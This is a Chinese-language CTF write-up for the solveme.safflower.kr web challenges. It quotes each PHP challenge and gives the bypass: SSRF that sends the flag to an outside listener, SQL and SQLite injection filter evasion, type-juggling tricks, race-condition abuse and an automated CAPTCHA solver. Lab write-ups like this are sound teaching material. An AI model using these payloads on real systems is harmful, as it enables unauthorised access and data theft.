题解
Warm up
1 2 3 4 5 6 7 8
| <?php error_reporting(0); require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
|
直接base64解密就出来了
Bad compare
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php error_reporting(0); require __DIR__.'/lib.php';
if(isset($_GET['answer'])){
if($_GET['answer'] === '����������'){ echo $flag; }else{ echo 'Wrong answer'; }
echo '<hr>'; }
highlight_file(__FILE__);
|
文字编码导致的问题,字符库里不存在将导致复制出错,应该想办法查看真实的值,可以用burp之类的检查hex,也可以更换编码以便复制,比如更换为韩文编码,提交的时候再把韩文编码一下即可,提供一个小工具
Winter sleep
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){ echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ echo 'This time is too long.';
}else{ sleep((int)$_GET['time']); echo $flag; }
echo '<hr>'; }
highlight_file(__FILE__);
|
跟php不同函数特性有关,参考我发的这篇帖子,通过测试可以发现服务器php版本应该是7.0.xx,因而不支持16进制写法,所以可以使用科学记数法绕过。
Thirty six
1
| 59714216653669596140166323768414581512983971077273551022216
|
10进制转36进制即可。不过很多在线进制转换工具的精度不够,我用类似下面的代码处理了
http://blog.csdn.net/liangzhaoyang1/article/details/50927557
http://blog.sina.com.cn/s/blog_956be04001010k83.html
Hard login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php error_reporting(0); session_start(); require __DIR__.'/lib.php'; if(isset($_GET['id'], $_GET['pw'])){ if(isset($_SESSION['hard_login_check'])){ echo 'Already logged in..'; }else if($_GET['id'] == $hidden_id){ if($_GET['pw'] == $hidden_pw){ $_SESSION['hard_login_check'] = true; echo 'Login Success!'; }else{ echo 'Wrong pw..'; } }else{ echo 'Wrong id..'; } echo '<hr>'; } highlight_file(__FILE__);
|
其实这题不是代码审计……
原来给出的链接是/prob/hard_login/,点击后有个跳转,跳到/prob/hard_login/login.php,burp拦截跳转,重放即可看到flag
Array2String
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php error_reporting(0); require __DIR__.'/lib.php';
$value = $_GET['value'];
$username = $_GET['username']; $password = $_GET['password'];
for ($i = 0; $i < count($value); ++$i) { if ($_GET['username']) unset($username); if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]);
if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } }
highlight_file(__FILE__);
|
php的ord函数,在输入的数字超出范围的情况下,会模掉256然后求余。
Hash collision
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php error_reporting(0); require __DIR__.'/lib.php';
if(isset($_GET['foo'], $_GET['bar'])){
if(strlen($_GET['foo']) <= 30 && strlen($_GET['bar']) <= 30){ if($_GET['foo'] !== $_GET['bar']){ if(hash('sha512', $_GET['foo']) === hash('sha512', $_GET['bar'])){ echo $flag; }else{ echo 'Different hash'; } }else{ echo 'Same value'; } }else{ echo 'Too long'; }
echo '<hr>'; }
highlight_file(__FILE__);
|
提交xxx[]
的形式,将提交的参数变为数组,然后赋不同值即可。
GIF89a

给了这么一个文件,根据提示,添加gif头,补全图像信息,用ps打开发现大小不对,有部分像素被隐藏,参照GIF文件格式和文件属性中的像素大小,修改文件的像素。
打开后发现隐藏的数据是一堆图标,可以想到是图标字体库影响,打开PS寻找相应字体,然后一一对应,即可获取flag。
Flag not found

给出了一个flag文件。
下载flag文件,ultraedit打开看到flag.txt字样,怀疑是某种压缩文件,到http://checkfiletype.com/ 检查一下,提示是
File Type: LHa (2.x)/LHark archive data [lh7] - header level 0
google了一圈,的确是个压缩文件,wiki百科上说这个有拓展名lha lzh,改拓展名发现winrar支持,但是无法解压,怀疑是文件末尾被破坏了。
下载7-zip,改拓展名为lh7,可以提取出一个flag.txt(然而只是让我加油……)
……
回到flag.lh7,7-zip显示偏移了62字节,Ultraedit打开发现的确有两个lh7字样,测试发现后者是解压出来的txt,前者应该就是要解码的flag了。
C32查看文件,通过参考链接 ,里面记载了LZH的文件格式。反复调试提取并修复上面的压缩文件,拿到本题flag。
Give me a link
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php error_reporting(0); require __DIR__.'/lib.php';
if(isset($_GET['url'])){ $url = $_GET['url'];
if(!preg_match('/^https?\:\/\/'.$_SERVER['HTTP_HOST'].'/i', $url)){ die('Not allowed URL'); }
if(preg_match('/_|\s|\0/', $url)){ die('Not allowed character'); }
$parse = parse_url($url); if(basename($parse['path']) !== 'plz_give_me'){ die('Not allowed path'); }
$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $parse['scheme'].'://'.$parse['host'].'/'.$flag); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_exec($ch); curl_close($ch);
echo 'Okay<hr>'; }
highlight_file(__FILE__);
|
首先用burp fuzz一下能代替下划线的,然后随便选一个,用https://solveme.safflower.kr@service.com/plz%01give%01me
这种格式绕过就可以在自己的服务器上看到访问记录了。
Give me a link 2
用ip2long
转换一下ip,用上题fuzz出来的结果替换一下划线
得到payload
1
| /?url=https://1869573999:443%2fplz%1fgive%1fme
|
就可以在111.111.111.111
这台机子上监听443端口,等待发送来的flag即可。
Replace filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php error_reporting(0); require __DIR__.'/lib.php'; if(isset($_GET['say']) && strlen($_GET['say']) < 20){ $say = preg_replace( '/^(.*)flag(.*)$/', '${1}<!-- FILTERED -->${2}', $_GET['say'] ); if(preg_match('/give_me_the_flag/', $say)){ echo $flag; }else{ echo "What does \"{$say}\" mean?"; } echo '<hr />'; } highlight_file(__FILE__);
|
.
匹配任意字符但是不匹配换行,而^
$
又限定了必须在同一行,因此提交的时候在中间带上换行即可。
Lax CAPTCHA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php error_reporting(0); session_start(); require __DIR__.'/lib.php';
if(isset($_GET['generate'])){
$img = imagecreatetruecolor(450, 55); $color = imagecolorallocate($img, mt_rand(70, 255), mt_rand(70, 255), mt_rand(70, 255)); imagefill($img, 0, 0, $color);
for($i = 0, $x = 7; $i < 15; ++$i, $x += 30){ $temp = mt_rand(-7, 7); $color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69)); imageline($img, $x + 9 + $temp, 0, $x + 9 - $temp, 55, $color); $color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69)); if($i % 4 === 0) imageline($img, 0, mt_rand(5, 50) + $temp, 450, mt_rand(5, 50) - $temp, $color); }
for($i = 0, $x = 7, $answer = ''; $i < 15; ++$i, $x += 30){ $color = imagecolorallocate($img, mt_rand(0, 69), mt_rand(0, 69), mt_rand(0, 69)); $answer .= chr(mt_rand(ord('A'), ord('Z'))); imagettftext($img, 15, 0, $x, 35, $color, __DIR__.'/arial.ttf', $answer[$i]); }
$filepath = __DIR__."/{$answer}"; imagepng($img, $filepath, 9); imagedestroy($img);
$captcha = base64_encode(file_get_contents($filepath)); echo "<img src='data:image/png;base64,{$captcha}'>"; unlink($filepath);
$_SESSION['lax_captcha_answer'] = $answer; $_SESSION['lax_captcha_time'] = time();
echo '<hr>';
}elseif(isset($_SESSION['lax_captcha_answer'], $_SESSION['lax_captcha_time'])){
if(isset($_GET['answer'])){
if((time() - $_SESSION['lax_captcha_time']) <= 3){ if( $_GET['answer'] === $_SESSION['lax_captcha_answer'] ){ echo $flag; }else{ echo 'Wrong answer'; } }else{ echo 'Timer over'; }
echo '<hr>'; }
unset($_SESSION['lax_captcha_answer'], $_SESSION['lax_captcha_time']); }
highlight_file(__FILE__);
|
验证码识别,写了个有点low的识别,没有处理线条,成功率还是有的,运行个十几二十次能跑出来
代码如下
p_function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| <?php function send($method,$url,$header="",$postcontent=""){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_CUSTOMREQUEST,$method); curl_setopt($ch, CURLOPT_HTTPHEADER,$header); if ($postcontent!=""){ curl_setopt($ch, CURLOPT_POSTFIELDS,$postcontent); } curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec($ch); $headersize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $header_response = substr($output, 0, $headersize); $header_response=explode("\r\n",$header_response); array_pop($header_response); array_pop($header_response); $output_body=substr($output,$headersize); foreach ($header_response as $key => $value) { $t=explode(' ',$value,2); if(stristr($t[0],'Set-Cookie')){ $CookieT=explode(';',$t[1]); foreach ($CookieT as $key1 => $value1) { $ttt=explode('=',$value1,2); $cookie[$ttt[0]]=$ttt[1]; } $tt[$t[0]]=$cookie; }else{ $tt[$t[0]]=$t[1]; } } curl_close($ch); $output_array['header_response']=$tt; $output_array['output_body']=$output_body; return $output_array; }
function req_header_format($header){ foreach ($header as $key => $value) { $tmp=explode(' ',$value,2); if($tmp[0]!=='Cookie:'){ $arr[$tmp[0]]=$tmp[1]; }else{ if(stripos($tmp[1],';')){ $t0=explode(';',$tmp[1]); foreach ($t0 as $key1 => $value1) { $t1=explode('=',$value1,2); $a_cookie[$t1[0]]=$t1[1]; } }else{ $t0=explode(' ',$value,2); $t1=explode('=',$t0[1],2); $a_cookie[$t1[0]]=$t1[1]; } $arr['Cookie:']=$a_cookie; } } return($arr); } function req_header_unformat($format_header){ foreach ($format_header as $key => $value) { if(!is_array($value)){ $arr[]=$key.' '.$value; }else{ $t=$key.''; foreach ($value as $key1 => $value1) { $t.=' '.$key1.'='.$value1.';'; } $arr[]=$t; } } return($arr); }
function send_follow_30x($method,$url,$header,$postcontent){ $a=send($method,$url,$header,$postcontent); $fm_header=req_header_format($header); if($a['header_response']['Set-Cookie:']){ if($fm_header['Cookie:']){ foreach ($a['header_response']['Set-Cookie:'] as $key => $value) { array_unshift($fm_header['Cookie:'], $value); } }else{ $fm_header['Cookie:']= $a['header_response']['Set-Cookie:']; } } $header=req_header_unformat($fm_header); for (;; ) { if(preg_match('/30\w?\s?Found/',$a['header_response']['HTTP/1.1'])){ $a=send($method,$a['header_response']['Location:'],$header,$postcontent); }else{ break 1; } } return $a; }
?>
|
uvcode.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| <?php header("Content-type: text/txt");
include 'p_function.php';
$header[]='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'; $header[]='Cookie: PHPSESSID=8d7ct91hd4ff6vlv4r2ul1o521';
$content_a=send('GET','http://solveme.safflower.kr/prob/lax_captcha/?generate', $header); $content=$content_a['output_body'];
$p=addslashes('\'><hr><code><span style="color: #000000">'); preg_match('/<img src=\'data:image\/png;base64,(.+)\'><hr><code><span style="color: #000000">/', $content,$c);
$rimg=imagecreatefromstring(base64_decode($c[1])); $rcolor=imagecolorat($rimg,0,0); for($rmx=0;$rmx<15;$rmx++){ for($ry=20;$ry<35;$ry++){ for($rix=0;$rix<15;$rix++){ $rimgc=imagecolorat($rimg,$rix+7+$rmx*30, $ry)===$rcolor?0:1; @$rimgc_a[$rmx].=$rimgc; } } }
for($t=65;$t<=90;$t++){ $im = @imagecreate(15, 15) or die("Cannot Initialize new GD image stream"); $background_color = imagecolorallocate($im, 255, 255, 255); imagettftext($im, 15, 0, 0, 15, imagecolorallocate($im,0,0,0), 'arial.ttf', chr($t));
for($iy=0;$iy<15;$iy++){ for($ix=0;$ix<15;$ix++){ $imgc=imagecolorat($im,$ix,$iy)===0?0:1; @$imgc_a[chr($t)].=$imgc; } } }
foreach ($rimgc_a as $ordr => $src_xor) { $res_xor_m_top=0; foreach ($imgc_a as $ord => $des_xor) { $res_xor_c=0; for($i_xor=0;$i_xor<strlen($src_xor);$i_xor++){ @$res_xor=(int)substr($src_xor, $i_xor, 1)^(int)substr($des_xor, $i_xor, 1); if($res_xor==0) $res_xor_c++; @$res_xor_s.=$res_xor; } $match_p=$res_xor_c/strlen($src_xor); if($match_p>$res_xor_m_top){ $res_xor_m_top=$match_p; $res_m_top=$ord; } } @$res_m.=$res_m_top; } echo $res_m."\n";
$answer_a=send('GET',"http://solveme.safflower.kr/prob/lax_captcha/?answer=$res_m",$header); $answer=$answer_a['output_body']; echo $answer; ?>
|
修改uvcode.php
里的phpsession即可,跑个十几次能跑出来。
Anti SQLi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php error_reporting(0); require __DIR__.'/lib.php'; $id = $_GET['id']; $pw = $_GET['pw']; if(isset($id, $pw)){ preg_match( '/\.|\`|"|\'|\\|\xA0|\x0B|0x0C|\t|\r|\n|\0|'. '=|<|>|\(|\)|@@|\|\||&&|#|\/\*.*\*\/|--[\s\xA0]|'. '0x[0-9a-f]+|0b[01]+|x\'[0-9a-f]+\'|b\'[01]+\'|'. '[\s\xA0\'"]+(as|or|and|r*like|regexp)[\s\xA0\'"]+|'. 'union[\s\xA0]+select|[\s\xA0](where|having)|'. '[\s\xA0](group|order)[\s\xA0]+by|limit[\s\xA0]+\d|'. 'information_schema|procedure\s+analyse\s*/is', $id.','.$pw ) and die('Hack detected'); $con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname) or die('SQL server down'); $result = mysqli_fetch_array( mysqli_query( $con, "SELECT * FROM `antisqli` WHERE `id`='{$id}' AND `pw`=md5('{$pw}');" ) ); mysqli_close($con); if(isset($result)){ if($result['no'] === '31337'){ echo $flag; }else{ echo 'Hello, ', $result['id']; } }else{ echo 'Login failed'; } echo '<hr>'; } highlight_file(__FILE__);
|
\\
并不能匹配到\
,preg匹配时php(似乎)会进行两次转义操作,原先的\\
被转义成\
,也就是\\|
变成了\|
,再次转义就会变成字符串|
,也就导致\
和\xA0
无法匹配到,只有提交|%a0
才会被匹配到。(适用php所有版本)
- and or 都被匹配了,用xor。
- 充当空格的09 0A 0B 0C 0D A0 20都被匹配到了,导致
--
注释后面加不上空格,但是--
后面使用%10 %01 %11 %02 %12 %03 %13 %04 %14 %05 %15 %06 %16 %07 %17 %08 %18 %19 %1a %1c %1d %1b %0e %1e %0f %1f %7f
这些字符,依然能够使注释起作用。
- union select 检测,用union all select 绕过
然后是需要匹配到no=31337,过滤了<>=, 不过其他二元运算符还能用,比如取余和除法,二元运算返回值进行四舍五入后不为0,相当于返回为真。
之前antisqli那题的sql服务挂了,所以没做,也不知道里面的数据长什么样。原来以为数据表里有no为31337的记录,结果测试发现只有no=1和no=2的记录,因此需要自己构造数据,上面这条划掉的权当参考,在其他题目中可能有帮助
Name check
之前没做,觉得是SQLite的注入,做题会费劲,后来看了别人的解之后才发现不难。
稍微要看懂的是SQLite的语句
1 2 3 4 5
| SELECT MAX('0','1','{$name}') LIKE 'a%', INSTR('{$name}','d')>0, MIN('{$name}','b','c') LIKE '__m__', SUBSTR('{$name}',-2)='in'
|
其中MAX('0','1','{$name}') LIKE 'a%',
,取 0 1 和name中最大值,当以a开头时语句为真,返回1。SQLite手册 MAX
INSTR('{$name}','d')>0,
用于寻找name中是否存在d
,存在则返回1,然后1>0
成立,再返回1。SQLite手册 INSTR
MIN('{$name}','b','c') LIKE '__m__',
用于寻找name b c中的最小值,以name的第一个字符与b c排序,再要求符合__m__这样的格式。
SUBSTR('{$name}',-2)='in'
要求最后两个字符为in
。
然后以上四者都要成立,则就是要求字符是admin
了,但是正则过滤了/admin|--|;|\(\)|\/\*|\\0/i
。那么可以用||
连接字符,php检测不到,而SQLite可执行。
大概长这样
1
| http://namecheck.solveme.peng.kr/?name=a%27||%27dmin
|
I am slowly
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php error_reporting(0); require __DIR__.'/lib.php';
$table = 'iamslowly_'.ip2long($_SERVER['REMOTE_ADDR']); $answer = $_GET['answer'];
if(isset($_GET['answer'])){
$con = mysqli_connect($sql_host, $sql_username, $sql_password, $sql_dbname) or die('SQL server down');
$result = mysqli_fetch_array( mysqli_query($con, "SELECT `count` FROM `{$table}`;") ); if(!isset($result)){ mysqli_query($con, "CREATE TABLE IF NOT EXISTS `{$table}` (`answer` char(32) NOT NULL, `count` int(4) NOT NULL);"); $new_answer = md5(sha1('iamslowly_'.mt_rand().'_'.mt_rand().'_'.mt_rand())); mysqli_query($con, "INSERT INTO `{$table}` (`answer`,`count`) VALUES ('{$new_answer}',1);");
}elseif($result['count'] === '12'){ mysqli_query($con, "DROP TABLE `{$table}`;"); echo 'Game over'; goto quit; }
$randtime = mt_rand(1, 10); $result = mysqli_fetch_array( mysqli_query($con, "SELECT * FROM `{$table}` WHERE sleep({$randtime}) OR `answer`='{$answer}';") ); if(isset($result) && $result['answer'] === $answer){ mysqli_query($con, "DROP TABLE `{$table}`;"); echo $flag; }else{ mysqli_query($con, "UPDATE `{$table}` SET `count`=`count`+1;"); echo 'Go fast'; }
quit: mysqli_close($con); echo '<hr>'; }
highlight_file(__FILE__);
|
这题有个条件竞争的问题。
程序流程为
sql查询count => 执行sql语句 => update count
可以想到,在“查询count”和“update count”之间,实际上有个时间差,而通过注入sleep可以加大这个时间差。
而只要count != 12就不会重置数据表。
- 因此只要通过线程并发,即可绕过查询次数限制。
- 由于程序自带随机sleep 1-10s,因此在查询正确的结果上再多sleep 10s即可。
正如题名,解这题非常的耗时间,程序可能需要跑很久……
补充一句,dnslog用不了,否则dnslog应该是最好且最快速的解决方法。
另外在官方wp区看到另外一个解,利用了information_schema.processlist
这个表。
1
| http://iamslowly.thinkout.rf.gd/?answer=a%27+union+select+substr(info,66,85),2+from+information_schema.processlist+where+%271%27=%271&i=1
|
URL filtering
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php error_reporting(0); require __DIR__."/lib.php";
$url = urldecode($_SERVER['REQUEST_URI']); $url_query = parse_url($url, PHP_URL_QUERY);
$params = explode("&", $url_query); foreach($params as $param){
$idx_equal = strpos($param, "="); if($idx_equal === false){ $key = $param; $value = ""; }else{ $key = substr($param, 0, $idx_equal); $value = substr($param, $idx_equal + 1); }
if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){ die("no hack"); } }
if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){ die($flag); }
highlight_file(__FILE__);
|
非官方wp
在这题绕了很久,以为函数是没有问题的,又是fuzz又是各种构造,然后才从函数入手。
问题在于parse_url,手册提到了一点,对于file协议,允许匹配三个斜杠,而对于其他协议则不允许,也就是说,不规范的URL将导致$url_query
为空,成功绕过下面的判断代码。
官方wp
上面的做法并没有将可疑的$url = urldecode($_SERVER['REQUEST_URI']);
这一句用上,因为像这样重新进行解码,将会导致如?a%3d1
变成?a=1
,再通过自定义流程,变成参数a及值1,而实际上只有一个参数a%3d1
。
与上面处理方式相同的地方在于,官方给出的wp也是通过改变$url_query
来达到目的:由于RFC规范一个url的格式为形如http://username:password@hostname/path?arg=value#anchor
这样的,问号后面的为query_string,即查询语句,而#后面的则是fragment,用于id选择,而代码中parse_url一句明确选择了query部分,代码中多余的一步urldecode操作正是为注入成为fragment提供了契机。
Hell JS
核心代码是jsfuck编码后的,太长就不贴了。
将js复制到开发者工具console进行调试,切换到source模式开启暂停,在弹窗里随便输,然后持续跟进代码。
然后可以看到进行了字符串比较,flag到手
另一解法
jsfuck编码后的代码,可以试试将整个代码最后一个()改成.toString(),如
1 2
| [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]).toString() 'function anonymous() {\nalert(1)\n}'
|
Cheap lottery
游戏规则是这样,去买票,然后等60秒后刷新一下页面,数据库里会有一个admin的票和你的票,相等则拿到flag
则需要进行注入,特殊符号都没有过滤,但是过滤了=[]
和所有字母,字母可以用 collation 绕过,另外似乎还有一个mysql查找顺序的问题。
这个问题p师傅有提到过,见Mysql字符编码利用技巧。
因此可以通过注入,创建另一个ip的admin和guest的表,然后用另一个ip访问。
应该也可以通过注入,复制admin的票到guest。
参考Cheap Lottery
Check via eval
过滤了一些字符,可以用<?=$a;?>
的形式输出变量$a
,另外通过$a{0}='z'
的形式设置$a
的第一个字符为z
。
1
| http://checkviaeval.solveme.peng.kr/?flag=$a=%27flax%27;$a{3}=%27g%27;?%3E%3C?=$$a?%3E;11111111111111111;
|
Super secure hash
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php error_reporting(0); require __DIR__.'/lib.php';
function super_secure_hash($text){ $hashed = sha1(crc32($text)); $encoded = base64_encode(hex2bin($hashed)); return $encoded; }
function login_check($username, $password){ if(strlen($username) > 4 && strlen($password) > 6){
$users = json_decode(file_get_contents(__DIR__.'/users.json')); foreach($users as $user){ if($user->username === $username){ return $user->password === super_secure_hash($password); } } } return false; }
if(isset($_GET['username'], $_GET['password'])){
if(login_check($_GET['username'], $_GET['password'])){
if($_GET['username'] === 'admin'){ echo $flag; }else{ echo 'Hello, '.$_GET['username'].'!'; }
}else{ echo 'Wrong username or password..'; }
echo '<hr>'; }
highlight_file(__FILE__);
|
可以很清楚的看到
1 2 3 4 5
| function super_secure_hash($text){ $hashed = sha1(crc32($text)); $encoded = base64_encode(hex2bin($hashed)); return $encoded; }
|
这个函数,用了crc32
作为其中一环的密码处理,因此对应的sha1值是可解的,那么就可以想办法找到对于的值。
users.json如下
1
| [{"username":"admin","password":"G19qLfSByRqrTRS8in1qT\/CWvnc="},{"username":"guest","password":"vANiIasnT\/+9Z5eyvy6H0BMjTgw="}]
|
可以爆破。不过最后用谷歌搜了一下,明文是artplanevent
谷歌搜索
最终网址